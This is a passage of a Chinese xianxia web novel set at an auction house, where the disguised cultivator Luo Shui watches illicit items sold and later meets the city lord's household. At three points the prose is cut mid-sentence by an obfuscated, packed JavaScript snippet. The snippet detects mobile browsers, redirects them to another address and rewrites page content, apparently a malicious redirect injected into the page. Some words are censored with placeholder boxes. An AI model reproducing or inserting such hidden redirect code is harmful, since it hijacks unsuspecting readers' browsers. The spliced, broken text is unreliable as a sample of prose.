观众七嘴八舌议论纷纷,场面愈发混乱。洛水冷眼瞟了一眼青影,嘴角勾起一抹嘲讽:“那如今,是算我赢,还是继续打?” “继续,打!”陈枫用剑撑起身子挣扎站起,青影回头训斥道:“一把破刀,家里多少这样的物件,你非得要这把吗!” “姐,让我打!”陈枫咆哮道。 “二妹啊,天江门难道只教人舞枪弄棍,都不教人神识探查的吗?”一个柔声从上方传来,一长相阴柔的男子倚着栏杆,眉眼含笑:“洪管事都没出手制止,你那么急干嘛?但凡用你的神识探查一下,便知这位公子已手下留情,话是用来诓枫儿的,那公子不过是冻住了枫儿的心脉,这才气血翻涌吐了些血,二妹妹是没见过血吗?竟吓得鲁莽出手,传出去了,可真丢我们陈家的脸啊。” “陈楠,用不着你这个邪魔歪道多嘴!”青影对着楼上骂喊。 “姐,你让开!”陈枫一把推开青影,挺剑再战。洛水看着陈枫,眼中闪过一丝肯定,笑言:“我欣赏你的气概,得罪了。”洛水身形宛若鬼魅,掌风凌厉如刀,瞬间劈向陈枫胸口。陈枫只觉一股巨力涌来,身形不由自主地倒飞而出,口中吐出一口鲜血。洪圈财立刻上前把脉,脉象虽弱,但无性命之忧,此刻只是晕了过去,故而高喊:“六十六号贵宾!胜!” “哇!”全场响起洪雷一般的掌声,观众纷纷起立,议论声如潮水般涌动,有人惊叹洛水的手段,也有人敬佩陈枫的骨气,这一场打斗让观众彻底沸腾,洛水摆了摆手,笑着跃回了二楼茶座。 “顾兄,你这功夫可是真不得了。”林风眼中闪烁着赞赏的光芒:“你的术法优雅非凡,剑招更是迅猛精准,真乃我平生罕见,令我大开眼界。” “你这奉承,有点假了。”洛水接过林风递过来的热毛巾,擦了擦手,看着台下被侍童抬上担架的陈枫,轻叹道:“年轻人,血气方刚,少了些沉稳。今日一战,希望他能有所领悟。” “顾兄此言,颇有长者之风,却忘了自己亦是风华正茂之年。”林风哈哈一笑,洛水不语,只是淡淡一笑。 19. 十九、拍卖大会(四) 第一件拍品结束后,后面的几件拍品显得就平淡了许多,场内未再出现什么惊呼的声音,气氛略显沉闷,竞拍者们的热情似乎有所减退,举牌频率明显降低,还流拍了几件。待到洛水心仪的‘一叶扁舟’亮相,场内气氛骤降至冰点,拍客们纷纷悠然品茗,没有动作。 “九千中等灵石!第三次!”洪圈财的声音在拍卖台上回荡,却无人应声。洛水心满意足地微微一笑,心中暗自庆幸无人与他争夺。 “这一叶扁舟竟还有人要?现下谁还要这种飞行法器呀?又脆又慢的。”底下人看到一叶扁舟被拍走,不禁吐槽。 “修炼这等法器的匠师都不思考一下,如今隐匿行踪还有啥用,跑得快才是真的有用。” 洛水听闻众人热议一叶扁舟的实用性,嘴角微扬,倚栏倾听,不置一词。 “顾兄好像对他人的点评并不在乎。” “少历练,少实战,所以才觉得速度快是最有用的。”洛水看向林风,反问道:“林兄你说呢?” “世人都觉速度快可化解万难,但元婴之下皆为蝼蚁,真正遇到比自己高阶的人时,拼硬实力往往是最蠢的,能有效化解危机的,大多是一些他人看不起的小手段。”林风眉梢轻扬,嘴角勾起一抹笑意:“着实好奇顾兄的年岁,如此青春年少竟已累积了如此丰富的实战经验,倘若筑基期修士皆如顾兄这般出众,这世间难缠的对手怕是要数不胜数了。” “不与我为敌,又何须害怕。”洛水话音刚落,拍卖台前最后一样拍品被拍走了,洪圈财宣布道:“今日明拍到此为止,暗拍即将开始,请无竞拍资格的人士退场。”人头攒动,开始往外褪去,洛水也随之起身,林风一把拉住洛水的衣袖,说道“顾兄,怎的就要走了?” “我并无暗拍资格。” “无妨,我有,顾兄可随我一同留下,见识一番暗拍的风采。”洛水稍做犹豫,这暗拍之物中并无自己想要的东西,但这林风实在过于热情,且知晓世事颇多,目前来看他确实是诚恳待人,自己此时也确实需要这样百事通的人指点一些当今人界的事物,思来想去,终是点头应允。 “公子,这是您的两样拍品,请问如何支付?”刚重新坐下,两个侍童端着两个大匣子走了进来,洛水刚想从香囊取钱,那头林风道:“记我账上即可。” “好的。”侍童放下东西准备离开。 “等等,我自己付钱。”洛水手指一勾,掌中出现一个钱囊袋子,沉甸甸的一坨。洛水把钱囊袋子交予侍童,说道:“约莫是够的,如若不够,你再来与我说。” 侍童接过钱囊袋子,深深鞠了一躬,说道:“感谢公子支持聚玲珑,公子请收下这枚令箭,日后如在外怕错过聚玲珑的拍卖讯息,可以此令箭做令,我们的玲珑鸟会带着当季可拍物品布卷找到公子的。” 侍童拿出一枚黑色孔雀羽递给洛水,随后退了出去。洛水端详手中孔雀羽,感叹如今的人界发展实在日新月异,竟然连最为难以驯服的玲珑鸟,亦能作为传信灵兽。 “聚玲珑的总坊主是个秒人,有许多奇思妙想,这玲珑鸟本不轻易服人,却不知总坊主用了什么方法,能和玲珑鸟王达成协议,让玲珑鸟成了他们聚玲珑的信使,着实羡煞了不少门派。”林风在一旁解释,洛水也从心中升起佩服之意。这玲珑鸟可日行万里,天生会定点传送法术,且玲珑鸟的定点传送是鸟群共享,这也使得玲珑鸟成了九州之中最为常见的鸟之一。但这鸟有人识,善人语,天生不服任何管制,如若有人强行铺抓想炼为自己的灵兽,玲珑鸟必定会自行爆体。单就聚玲珑能说服玲珑鸟王这一点,就已经足够让人震惊。 “清场完毕,正式进入暗拍环节!”洪圈财的声音打断两人,此时场地四周不知何时已落下了黑幕,洛水隐约察觉到黑幕之上潜藏着强大的禁制法阵,暗想那暗拍之物诡异莫测,若无法阵束缚,一旦挣脱,必将酿成难以估量的灾祸。想到这里,洛水对聚玲珑的创造人,钦佩之意又多一分。 “首先第一样,北海毒蛟淫囊一枚!”洪圈财说完,一侍童推上一个巨大的水晶柜,柜中装着一粉色泡囊。“此物乃上月所得,淫囊新鲜完整,囊中□□未被任何灵力污染,绝对是百分百纯正□□。起拍价,五千上等灵石!” 洛水眉头一紧,被眼前之物震惊。北海毒蛟多母少公,为争得公蛟垂涎,母蛟会在□□期分泌出毒蛟□□。此□□只要一滴沾于人身,便会让人□□难灭,如若修为低浅之人,甚至会因此血管爆炸而亡。此物虽淫,却也是一等一的修炼珍品,□□能增强法器灵力,如若炼化附着于法器之上,被法器割伤,伤者便会身中毒蛟淫毒。而且这物要获取也是十分困难,北海毒蛟五十年一发情,母蛟只有发情期才会分泌毒蛟□□,且这□□根本不能用手或其他法器碰触,一旦沾染便会中毒,只能整颗淫囊切下,才能保全□□。这东西因效用过于下作阴险,在正派已被全面禁止,而魔道却是趋之若鹜。 “北海毒蛟要正常杀之已是难上加难,竟然还能如此精准地切割下整颗淫囊,击杀此蛟之人,想来都快进阶元婴了,但如若是魔道,为何还要拿到这聚玲珑拍卖呢?”洛水不禁疑问。 “这就是为什么聚玲珑能在九州遍地开花的重要原因,有些不体面的事,可以通过聚玲珑来做。”林风笑笑,洛水也点点头。修真虽有正邪之分,人却终究是人,各类诱惑之下,正与魔又有何区别,只不过是有头有脸的放不下身段去做,可一旦身份被遮掩,正与魔的隔阂就彻底没了。 “一百零八号贵宾,五千五百上等灵石!” “二百三十八号贵宾,六千上等灵石!” “五十四号贵宾,六千五百上等灵石!” …… 洪圈财在场中高声呼喊,出价之声此起彼伏,洛水望着台上纷飞的举牌,低声自语:“何方神圣对这等物件趋之若鹜?” 林风不语,只是看着洛水。 “九千上等灵石,第三次!还有没有人出价!”洪圈财的声音再一响,随后‘噔’一声,一锤定音,北海毒蛟淫囊被拍走了。 “这暗拍出的价比明拍高太多了吧。” “明拍日日都有,暗拍却不是,一个月有一次就算不错的了,毕竟这些腌臜物件也不是那么好搜集。”洛水认同地点点头,如若每天都有这么多的邪物拍卖,这人界怕不是早就混乱不堪了。 “第二样,幽冥照骨镜,此镜可通阴阳,能引恶鬼,可吸怨气,为鬼修上乘法器!起拍价,六千上等灵石!”洪圈财的话一出,洛水有点吃惊地看向林风,压着嗓子说:“这弑主的玩意儿,居然起拍价那么高。” “杀的人越多,这镜子的怨气就越重,拿来做法器定是好东西,能不贵吗。如若要自己修炼一枚这样的法器,少说也得两百年以上,修真之路漫长艰辛,能有几个百年可供挥霍?能用钱财换取时间,又有谁会吝惜呢?”林风刚说完,就听见上方一人大喊:“我出价一万上等灵石!” “六十八号贵宾,出价一万上等灵石!”洪圈财亢奋大喊,洛水循声看去,是一个戴着面具的男人,一身黑袍,完全看不出正邪。那男人似乎也察觉到了洛水的观察,转而往下一看,目光冷冽,透着阴森寒意,让人不寒而栗。 “顾兄别看,他们这种打扮的,大多是没办法化身的,你这样看,他会以为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116029|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想标记他,等拍卖结束要杀他夺宝呢。”林风出声提醒,洛水赶忙撇开目光,小声道:“还有这种说法?” “暗拍之物不受任何保护,多的是有人在这拍了,出门就被杀了夺宝的事。”洛水听完点点头,修真之道,向来如此。 “话说,我能问林兄一事吗?” “何事?” “你化身出行参与暗拍,为的是哪物?”洛水的话一出,林风的眼神闪烁一下,洛水赶忙道:“你不想说也无所谓的。” “顾兄怎会如此可爱,我都把你留下来了,如若怕你知道,刚才不就让你走了。”林风轻笑,手指滑过红色布卷,一直推到尽头,指向最后一物。 “九转还阳丹?”洛水是知晓此物的,此物可以生死人而肉白骨,魂魄亦可重塑,堪称逆天灵药。只是这药的炼制过程极为复杂血腥,除了需要耗费大量珍稀上品材料,成功率也是极低,这些是它复杂的部分。血腥的部分,便是这丹需要十万生人魂魄作为药芯,不得选用自然死亡之魂,必须是身体康健且阳寿颇多的人。此丹创造者是上古修士,不知如何得知此法,只知每一枚九转还阳丹的现世,就说明有十万人被生祭,其实并不止十万人,因为炼制成功概率极低。虽说服用这丹可还阳增寿,但因过于阴鸷,服用者甚至可能引发天谴,招致神罚天雷。 “林兄,可知这丹的来历?”洛水觉得自己这一句问话实属多余,如若不知,林风又怎会冒险参与暗拍。 “此丹所用十万人命,乃九州西北方一草原古国,此国国君残暴弑杀,国民皆信奉西方邪教,频频入侵九州中部各国,烧杀抢夺,奸淫掳掠。最后被九州联军所灭,国中百姓尽遭屠戮,魂魄被用于炼制此丹。联军此举虽解一时之困,却引得天道震怒,降下神罚,联军之首被天雷击中,身死道消。而这丹,也一同消失。”林风说着,洛水听着,这丹选用的人命虽说是罪有应得,但十万人命,其中定有不少无辜之人,再多的理由亦不能抹去此丹罪孽。 “如若林兄要用此丹救人,我劝林兄三思。” “为何?” “如若林兄所救之人,得知自己一命是用十万人的命换来的,不知是否会因此记恨林兄。” “如若,那人是魔道呢?” “魔道亦是人,亦有人的七情六欲,并非魔道一定就是嗜杀成性,毫无底线之人。如若林兄要救的,是弑杀无度的魔道,那不必在意我的话。如若他不是,林兄此番作为是否真的妥当?况且,这丹,或会招来天谴。”林风沉默片刻,紧紧看着洛水,眼中闪过一丝挣扎。“林兄随心而动便是,我说的也未必正确,只是值得林兄如此不顾天地伦理去救的人,想必是林兄极爱之人,我只是不想那人会因此与林兄有了嫌隙,甚至心生愧疚,反而不美。” “诸位贵宾,抱歉至极,总坊主刚传讯而来,暗拍目录中压轴的‘九转还阳丹’今日将不参与竞拍!”洪圈财的声音忽然响起,此话一出,只听‘咔嚓’一声,林风手中握着的茶杯被顷刻捏碎。楼上传来几声怒吼,一黑一青两道黑影从三楼一跃而下,正是城主家的大公子和二小姐,此两人一人举着扇一人举着枪,均对准了洪圈财的喉咙,骂道:“谁说不拍的!” “我说的。”一声柔媚女声不知从何处传来,场地中浮现无数红色花瓣,一股浓郁香气也随之而起,只见上方一把纸伞缓缓飘落,一道光芒自伞中射出,众人被刺眼得避开,最后,一身穿蓝色拖地长裙的女子,从光芒里走出,五官媚态万分,耳鬓几缕发丝贴着肌肤,更是多添了几分媚劲。 “总坊主!你怎么来了?”洪圈财一声大喊,众人亦被这一声大喊惊得都站了起来。 20. 二十、拍卖大会(五) “大惊小怪,老娘想去哪不行?”柔媚女声忽地转为凶悍,随即又迅速换回笑脸,腰肢轻摆,原地旋转一圈,笑靥如花地说:“真是抱歉各位,这九转还阳丹,已经名花有主了,请各位多多包涵。小女柳不似,给大家赔个不是了。”柳不似绕到持武器的二人身旁,嘻嘻一笑,略带撒娇地说道:“哎呀呀,二位这是唱的哪一出啊,聚玲珑这儿可不喜欢动武的客人呢。” “为何不拍九转还阳丹!”二小姐枪尖调转,对准了柳不似。 “聚玲珑打开门做生意,做的就是价高者得的生意,有人出价比诸位高,那我自然是先紧着出钱的大爷啊。”柳不似腰肢一扭,如蛇一般滑到二小姐面前,轻笑道:“二小姐息怒,江湖规矩,价高者得,这也是无奈之举。” “你认识我?”二小姐眸光如炬,冷哼一声:“既然认识我,就该知道,什么价我都能出得起,快快把那丹给我拿上了!” “哎哟,二小姐真是喜欢开玩笑,聚玲珑哪位客人的底细我不知呀,就连那些遮头掩尾,化身伪装的,我都知道。只是今日二小姐的吩咐,小女子实在难以从命,那九转还阳丹已落入他人之手了。”柳不似眼波流转,语气依旧柔媚:“二小姐要这九转还阳丹我也大致知晓所为何用,但城主夫人心善,你要是拿了这丹给她服用,你不怕城主夫人知道了,会发疯吗?” “休对我母亲无礼!”这次说话的是举着扇子的陈楠,他手腕一转,手中扇子旋转出利刃,直指柳不似:“今日若不交出丹药,休怪陈某不客气!”柳不似笑声更甚,身形倏忽一闪,轻巧避开扇尖,笑道:“陈公子,何须动气?论起渊源,我与你家老祖颇有交情,也算是你的长辈,怎能如此相待呢?”陈楠眼神一凛,冷声道:“长辈又如何?事关母亲安危,我绝不会退让!” 柳不似笑容微敛,轻叹道:“既然如此,那就,开门送客吧。” “送客!”洪圈财在后方呐喊,一众侍童纷纷上前,簇拥着二小姐与陈楠向外走去。二小姐脚步一顿,回首冷瞥:“柳不似,你这聚玲珑还要不要了!竟敢如此放肆!” “好啦好啦,多少也得给城主些脸面,散开散开。”柳不似葱指轻捻,瞬间化出一把团扇,轻轻拍打侍童们,示意他们散开。两人得以松懈,柳不似却身形一转,一股强风自她裙底吹拂而出,两人被冲击下了拍卖台,砸到了侍童早已准备好的两把椅子上。 “想来今日九转还阳丹被他人包圆了,有意的贵宾心里多是不快的,只是聚玲珑向来是价高者得,能包圆的价格,自然是在座的诸位都给不起的,所以容小女再说一声抱歉。”柳不似鞠了一躬,团扇掩着口鼻闷闷地说道:“想要这九转还阳丹的,自然都是为了救人,今日聚玲珑不守信在前,便拿出诚意补偿大家,我送诸位一份机缘罢了。” 柳不似话音刚落,手中抛出一枚玉简,玉简在空中划出一道弧光,稳稳落入手中,笑言:“几日前,我家寻宝客游历各州寻宝,偶得一讯。距蓬莱城五千里海域,得遇一妖穴,妖穴群妖盘踞,但能感妖穴之内灵力涌动,似藏稀世珍宝。” “要宝物,我家要多少有多少,我要你那些个东西干嘛!柳不似,你这是在戏弄我们吗?”二小姐气得脸色铁青。 柳不似嘴角微扬,眼中闪烁着深邃的光芒:“二小姐勿急,且听我言。那妖穴实为鲛人之巢,据我家寻宝客所述,其内感知到的宝物,正是传说中的鲛人至宝——鲛珠。”此话一出,众人纷纷惊讶得站起。洛水捏着下巴,想起自己在某本古文书简中见过此物的介绍。鲛人珠简,能解百毒,祛万病,并有延年益寿之功效,听说还能起死回生。但鲛珠十分难寻,只因鲛珠是元婴鲛人化身失败后的产物,数量稀少,且藏于深海,寻常人难以触及。鲛珠对于鲛人族亦是珍贵非常,如若鲛人族能得一枚鲛珠,便能在深海之中建造鲛宫,以鲛珠为阳,驱除深海之中怕光海兽的侵扰。鲛珠更可助鲛人精进修为,净化深海水质,滋养万物灵根,堪称举世无双的珍宝。 “此玉简内绘有详细地图,两位若能得宝,或可弥补今日之憾。”柳不似手指一抛,玉简化作一道流光,径直飞向二小姐手中。“其余客人,今日无论所出价格多少,通通减半。”柳不似话音刚落,三楼一阵骚动,柳不似瞄了一眼洪圈财,示意拍卖继续,随后幻化身形不见了踪影。 二小姐捏着手里的玉简,看了一眼跟前的陈楠,嘴唇微张,似是想说点什么,但又随之闭上,倒是陈楠,一脸自若,说道:“回家再议。”两人没再说什么,退了出去。 “林公子,莫怪莫怪,今日真是意外,没让您拍到心仪之物,都是小女子的错,小女子来给你赔不是了。”柳不似提着一壶酒忽然出现在了洛水和林风身后,她似是没想到在场还多了一人,看了一眼洛水,眼神透着狡黠:“这是,林公子的新欢?” “休要胡说!”林风沉声打断。 “公子好生俊俏,是奴家最喜的类型呢。”柳不似掩嘴轻笑,眼波流转,风情万千:“公子,与我饮一杯,如何?”柳不似递过酒,洛水接过,悠悠地看着眼前的柳不似,良久才说了一句:“姑娘好生眼熟。” 柳不似笑容一滞,旋即恢复如常,轻声道:“或许前世有缘,今生得以相见。如此说来,更该喝上一杯了。”柳不似手中酒杯轻碰洛水的杯沿,清脆一声,酒香四溢。洛水举杯饮尽,柳不似也一口喝完,随后倚在林风的肩头,眼眸微眯,轻声说道:“林公子,这杯酒,算是赔罪。”林风皱眉,却未推开她,只是淡淡道:“赔罪不必,但刚才你给陈家的玉简,我也要一份。” “我就知道。”柳不似轻笑,手指转动,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对比九转还阳丹,鲛珠确实没那么阴鸷,但效果是否一样,就难说了。”两物虽听起来有类似功效,但是否能替代另一物,也是难说。 “这么多年都过来了,也不差这对错一两次了。”林风目光投向窗外,洛水看到了林风脸上的无尽愁容。 “林兄真情一番,必能受上天垂怜,心想事成。”洛水说着安慰的话,林风却不接话,只呆呆地看着手中玉简,随后又看向洛水,不知为何,这一次看向洛水的眼神中多了几分探究,仿佛要从洛水的脸上寻出什么端倪。洛水被盯得有些不自在,轻咳一声,打破沉默:“林兄,若有什么难处,在下愿尽微薄之力。” 林风收回目光:“洛兄心意我领了,只是此事牵扯甚广。”他顿了顿,语气变得低沉,“不知,顾兄可想出海?” “啊?” 21. 二十一、家宴 洛水缓步穿梭于蓬莱城的石板街道上,阳光正好,洒在他的肩头,一夜的奔波与激战后的疲惫,如同潮水般在这一刻汹涌而至,侵蚀着他的每一寸意志。洛水已经许久未曾体验过如此深切的疲惫了,连日来马不停蹄的赶路,加之昨夜那场虽看似轻松实则耗尽心神的灵力之战,让他此刻感到每一根筋骨都在发出无声的抗议,诉说着身体已至极限的残酷现实。 ‘筑基期的肉身还是脆弱了些,不过七八日未睡,竟会如此疲倦’洛水感慨一声,从化神跌入筑基,一些久远的记忆也开始模糊地浮现出来。以前的自己修炼时,最喜欢的就是打混做懒,为此没少被师傅责罚。 ‘师傅是如何罚我的了?’洛水思索了许久,记忆一片空白,化神陨落导致的记忆残缺有时也是让人痛苦,明明想起了一些事,但总是有开头,没结尾。 洛水甩甩头,不再继续沉溺于往事,他在路边小摊上买了一个包子,顺便问了一下户籍部的位置,一边啃着一边往户籍部走去。 “顾兄若有兴趣,两月之后,我们在蓬莱城码头碰面,一同出海。”洛水继续啃着包子,思绪却已飘回刚才在聚玲珑里和林风的对话。 “为何是两月之后?” “出海甚是凶险,需要提前准备不少,光是到达玉简所指海域位置,需要的船只就只能选用灵船,这类灵船蓬莱城只得两艘,如今情况,想必是不会出借与我的了,我还需前往其他城市寻找,另外还需找寻一些识海懂海的修士一同前行。”林风耐心解释道:“两个月时间已是最快的了。” “如若大公子和二小姐比你快怎么办?” “不会,此事一旦传出,天江门和合欢派定会闻风而动,同样会寻找伙伴出海。他们二人意在鲛珠,而其他人则看重那难得的机缘。东海深海妖兽横行,妖丹更是修为提升的珍稀之物,岂能轻易放过?” “只是,为何要邀我一同前行?” “不知,只觉得,与顾兄相识甚是愉快,如此有好机缘的机会,自然不想让顾兄错过。”林风说完,狡黠一笑。 ‘东海鲛人妖穴,确实是个极好的修行机会,只是我与他不过才认识几个时辰,就能让他如此交心?我身上是有什么值得他贪图的东西吗?’想到这,洛水摸了摸自己的脊背,冰凌圣根确实是水系冰系至宝,顾青种种苦难皆来自此宝,难不成林风也想要这个? ‘可他都能参与聚玲珑的暗拍了,连九转回魂丹这类东西他都能找着,我这冰凌圣根,怕是没那么重要吧?’洛水摇了摇头,决定不再多想,还有两月呢,先把眼前的事处理完再说吧。 ‘冰沁刀是全新的,并未开刃,炼成法器少说也得一月有余,这一叶扁舟倒是可以直接用,少了些麻烦。现在已是筑基后期的假丹期,如若要突破至金丹期,必须寻到能压制体内怨气的方法,也不知这世上是否有能同时使用灵气和怨气的仙法道术。但无论如何,都需要先找个安静的地方修炼起来才是。’洛水心中盘算之际,人已走到了户籍部。 户籍部的大门古朴而庄重,此刻人不多,在门口接待人的是一位年长的修士,身着朴素道袍,此刻半眯着眼流着口水打瞌睡,洛水轻轻敲了敲桌子,唤醒了打瞌睡的修士。 “谁,是谁?要做什么?办户籍填这个表,迁户籍填这个表,新生儿上户籍填这个表。”修士半梦半醒地指了指旁边的架子上摆放着的表格纸张,洛水拿起一张看了许久,问道:“这要在蓬莱城租房的修士,要填哪张表?” “哦,是修士啊。”那老头吧嗒着嘴,指了指架子上最下面的一张有些发黄的纸页,说:“这个,填完以后拿进去给户籍郎盖章,没问题就可以找牙人带你看房子了。” 洛水拿起那纸页,看起来已有些年头了,纸页上的字迹有些模糊,只见上面就写着姓名,门派,年龄就无其他了,只在最下方还有一行,写着‘介绍人’三字。 “这介绍人,是要填什么?” “介绍人还要问吗?自然是你在蓬莱城的担保人啊。没有担保人,谁知道你填的来历是真是假,如若你作奸犯科逃了,那我们还可以找你的介绍人了解情况。” “如若没有呢?” “没有?没有就只能说声抱歉,你没办法在蓬莱城租房了。”洛水微微一愣,心想这担保人一事着实棘手。他并非蓬莱城土生土长,自然没有熟识之人可作为担保。正在踌躇间,他忽然想起那日给了自己一枚召仙令的老头,赶忙掏出那枚召仙令,递于面前修士,客气问道:“这个,是否可做介绍人担保?” “召仙令?”修士瞪大眼睛一瞧,又翻到背面,然后大大地哎哟一声,说道:“你有白管事的召仙令,还跑来我们这户籍部干嘛,是来给我们增加工作量的吗?” “额,在下初来乍到,并不是十分了解。” “这东西不是你抢来的吧?”修士疑惑地问道。 “自然不是,是那老头……不,白管事有求于我,送给我的。”修士听后露出一丝狐疑之色,但并未多言,只是将召仙令扔回给洛水,说道:“去城主府,把这令牌给随便一个人看,自会有人安排你的住处。”说完,修士打了个哈欠,继续埋头小憩。洛水原地尬笑,想问城主府在哪,但修士已陷入沉睡,洛水只好收好召仙令,转身向一旁的路人询问。 城主府倒也不难寻,城里宅院最大的地方便是。洛水依照路人的指引,穿过几条热闹的街道,来到一条空旷的街道,这街道没有任何的商铺,只有一个偌大的宅门,门口站着数十个佩刀的守卫。洛水走上前,拿出召仙令,刚想开口,那守卫便开口说:“稍等。”随后进了宅门,不一会,一小厮小跑着出来,一见洛水便嘿嘿笑道:“欢迎修士莅临蓬莱城,听说修士有召仙令,可否给小的一瞧?” 洛水将令牌递予小厮,小厮接过,细细审视,脸上瞬间堆满了谄笑:“哟,是白管事的朋友啊,快请,快请!” 小厮引着洛水从宅门的偏门进入,刚进宅门,洛水便被眼前的建筑惊到了。一幢高耸入云的楼阁映入眼帘,雕栏玉砌,金碧辉煌。每一处建筑的房顶都在阳光下闪着刺眼的金光,沿着一条由白玉铺就的小径,洛水跟着小厮进入到一座建筑之内,这房内布置得富丽堂皇,一派奢华。墙上挂着各种精致的书画,桌椅皆由上等木材制成,散发着淡淡的香气。室内已聚十数名修真者,衣饰各异却皆显仙风道骨。洛水步入,有人颔首致意,亦有人漠然一瞥,复又沉浸于己事。小厮引导洛水入座偏角落的一处茶座,小声道:“修士稍坐,我这便请白管事来。”说完,小厮小跑着离开。 “那人,不是今日在聚玲珑把三公子打致昏厥那人?”洛水含着的一口水差点喷出,没想到刚坐下,便被人认了出来。 “怎会是他?城主府耶,他竟敢踏足此地!” “听小厮说,他还认识白管事。若真是如此,他还来此,想必是来负荆请罪的吧。” “我想也是,得罪了城主家,还想在蓬莱城混,怎么可能。” 四周的议论如潮水般涌来,洛水愈发不自在,心中暗想,不如就此离去,城外寻一幽静山洞,闭关修炼两月,亦是不错的选择。但念及久未沐浴,且一路风餐露宿于洞穴之中,乏味之感油然而生,终是按下心思,佯装未闻,继续品茗。 “哎哟,哎哟!这,这不是……”白管事小跑着进来,与那日一般,依旧一身白袍,满脸的笑容。 “白管事好,在下顾青。” “好好好,快快快,与老夫到别处喝茶去。”白管事似是很怕洛水跑了,一下子抓住洛水的手腕,小跑着出了那厅。白管事出了门,松开洛水的手腕,抱歉道:“顾修士,我这才想派人去找你,没想到你就来了,这都三四日了,怎才到蓬莱城啊。” “呃,路上有点事耽搁了。”洛水没敢实话实说。 “什么事?是因为把三公子又揍了一顿耽搁的?”白管事嘿嘿一笑,洛水冷汗一冒,赶忙鞠躬,道歉道:“实在是不好意思。” “有甚不好意思的,打了便打了,又没缺胳膊少腿的,我都听说了,顾修士严格遵照聚玲珑规矩,没下死手。我这不刚想出去找你,亲自谢你一谢。” “谢我?还是要抓我坐牢?” “顾修士真爱开玩笑,蓬莱城律法严明,哪能这般胡闹抓人。”白管事嘿嘿一笑,压低声音说:“我早想打那小子一顿了,碍于身份不敢动手罢了,这都多得你,要不那小子哪知什么天高地厚。” 洛水听得冷汗更冒,没想到白管事竟有此心。洛水勉强挤出笑容,正欲开口,白管事却抢先一步继续道:“顾修士,你有所不知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116031|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三公子平日里嚣张跋扈,城主责罚了他多少次,都改不了,这次吃了亏,日后定会刻苦修炼,找你报仇雪恨。” “那我便等着三公子找来了。”洛水干笑一声附和道。 白管事听完哈哈一笑,随后口中吟诵法诀,只听草木沙沙作响,两人身旁的景象悄然变化,白管事伸出手臂,说道:“顾修士,抓好老夫。”洛水不明,但还是依照所言抓住了白管事的手臂,只觉瞬间天旋地转,周遭景物疯狂旋转,一阵阵狂风呼啸而来,脚下的地面开始变得绵软模糊,仿佛自己正漂浮在一片无形的虚空之中。不过数息,一切重归平静,洛水发现自己站在一栋高楼宅院门前,宅院上写着‘西苑’二字,洛水很快反应过来,这是内宅。 “顾修士不愧是有本事之人,每次有人进了老夫这移行阵,出阵时总免不了一阵呕吐,顾修士竟一点不适也没。”白管事投来钦佩的目光。 “白管事,这里是内宅吧,是否走错了?”洛水有点担忧地问道。 “没错,就是婉姨娘要见你。”白管事说着话,推开了西苑的大门。 ‘婉姨娘?婉娘!’洛水瞬间反应过来,此人不就是林风故事里那位,自南海而来的女子吗? “婉姨娘?要见我?这……”洛水踌躇不前,担忧踏入门后,是否能脱身,毕竟自己亲手殴打得她亲儿子吐血。 “莫怕莫怕,本来就是婉姨娘要我出去寻你的。那日归来,婉姨娘听闻三公子无端用剑随意刺人,罚三公子跪了两日的祠堂,且吩咐我一定要寻到你说一声抱歉。谁知,今日三公子被横着抬回来,一问,知道是你又把三公子打了,这可把婉姨娘高兴的哟,恨不得立刻开宴席庆祝呢。” “开宴席?白管事,你莫不是在诓我吧……”洛水一脸困惑,眼前的状况让他摸不着头脑。 “婉姨娘并非一般人,你信我,绝不有诈,真的就是要见见你而已。”洛水心中的疑虑稍减,但依旧保持着警惕。白管事微微一笑,引领洛水穿过曲折的小径,来到一座雅致的亭台之中。亭内,一位风姿绰约的贵妇正在轻抚琴弦,周围花香四溢,几只鸟类灵兽在枝头欢快地鸣叫。洛水瞥见贵妇容颜,与三公子略有几分神似,心中已然断定,此人必是婉姨娘无疑。 “婉姨娘,贵客到了。”白管事鞠躬禀报,随后把洛水往前一推。 “贵客光临,让此地蓬荜生辉。”婉姨娘停下手头的琴音,站起身来。她双眸深邃,泛着淡淡蓝光,犹如深海宝石,熠熠生辉。鹅蛋脸庞,柳眉微扬,肤色胜雪,正是林风故事中所述之美,婉姨娘之美,名不虚传。 “问姨娘安,在下顾青。”洛水微微弯身做礼。 “不必多礼。”婉姨娘微笑回应,声音如清风拂过水面般悦耳。“我听闻你勇武过人,修为淳厚,今日一见,确实如白管事所说。” “与三公子两次切磋均事出有因,望姨娘莫怪。” “何来怪罪!如若不是你,我还真不知如何教训那畜生!仗着自己身份和一点修为,平日在城里便是狂妄至极,猎灵竟然连猎物是人是怪都未分清便贸然出手,如若不是你,怕他是全然不知天高地厚了。平日我要罚他,他那父亲总是拦着,只能罚他跪祠堂,今日有你,是真的解了我心口积压已久的闷气。”婉姨娘越说越气愤,全然失了方才那份怡然娴雅之态。 “只是切磋,切磋。”洛水面露尴尬,急忙寻词弥补。 